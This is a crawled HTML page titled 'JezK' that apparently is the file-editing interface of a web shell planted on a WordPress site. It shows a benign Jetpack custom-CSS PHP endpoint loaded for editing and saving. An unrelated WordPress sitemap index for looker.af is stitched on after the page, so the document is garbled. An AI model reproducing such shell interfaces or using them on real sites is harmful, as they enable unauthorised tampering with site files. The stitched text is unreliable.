
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class.wpcom-json-api-get-customcss.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Custom Css endpoint
 *
 * Endpoint: https://public-api.wordpress.com/rest/v1.1/sites/$site/customcss/
 */

new WPCOM_JSON_API_Get_CustomCss_Endpoint(
	array(
		&#039;description&#039;      =&gt; &#039;Retrieve custom-css data for a site.&#039;,
		&#039;group&#039;            =&gt; &#039;__do_not_document&#039;,
		&#039;stat&#039;             =&gt; &#039;customcss:1:get&#039;,
		&#039;method&#039;           =&gt; &#039;GET&#039;,
		&#039;min_version&#039;      =&gt; &#039;1.1&#039;,
		&#039;path&#039;             =&gt; &#039;/sites/%s/customcss&#039;,
		&#039;path_labels&#039;      =&gt; array(
			&#039;$site&#039; =&gt; &#039;(string) Site ID or domain.&#039;,
		),
		&#039;response_format&#039;  =&gt; array(
			&#039;css&#039;             =&gt; &#039;(string) The raw CSS.&#039;,
			&#039;preprocessor&#039;    =&gt; &#039;(string) The name of the preprocessor if any.&#039;,
			&#039;add_to_existing&#039; =&gt; &#039;(bool) False to skip the existing styles.&#039;,
		),
		&#039;example_request&#039;  =&gt; &#039;https://public-api.wordpress.com/rest/v1.1/sites/12345678/customcss&#039;,
		&#039;example_response&#039; =&gt; &#039;
	{
		&quot;css&quot;: &quot;.site-title { color: #fff; }&quot;,
		&quot;preprocessor&quot;: &quot;sass&quot;,
		&quot;add_to_existing&quot;: &quot;true&quot;
	}&#039;,
	)
);
/**
 * GET Custom CSS Endpoint
 */
class WPCOM_JSON_API_Get_CustomCss_Endpoint extends WPCOM_JSON_API_Endpoint {
	/**
	 *
	 * API callback.
	 *
	 * @param string $path - the path.
	 * @param int    $blog_id - the blog ID.
	 */
	public function callback( $path = &#039;&#039;, $blog_id = 0 ) {
		// Switch to the given blog.
		$blog_id = $this-&gt;api-&gt;switch_to_blog_and_validate_user( $this-&gt;api-&gt;get_blog_id( $blog_id ) );
		if ( is_wp_error( $blog_id ) ) {
			return $blog_id;
		}

		$args = array(
			&#039;css&#039;             =&gt; Jetpack_Custom_CSS::get_css(),
			&#039;preprocessor&#039;    =&gt; Jetpack_Custom_CSS::get_preprocessor_key(),
			&#039;add_to_existing&#039; =&gt; ! Jetpack_Custom_CSS::skip_stylesheet(),
		);

		$defaults = array(
			&#039;css&#039;             =&gt; &#039;&#039;,
			&#039;preprocessor&#039;    =&gt; &#039;&#039;,
			&#039;add_to_existing&#039; =&gt; true,
		);
		return wp_parse_args( $args, $defaults );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
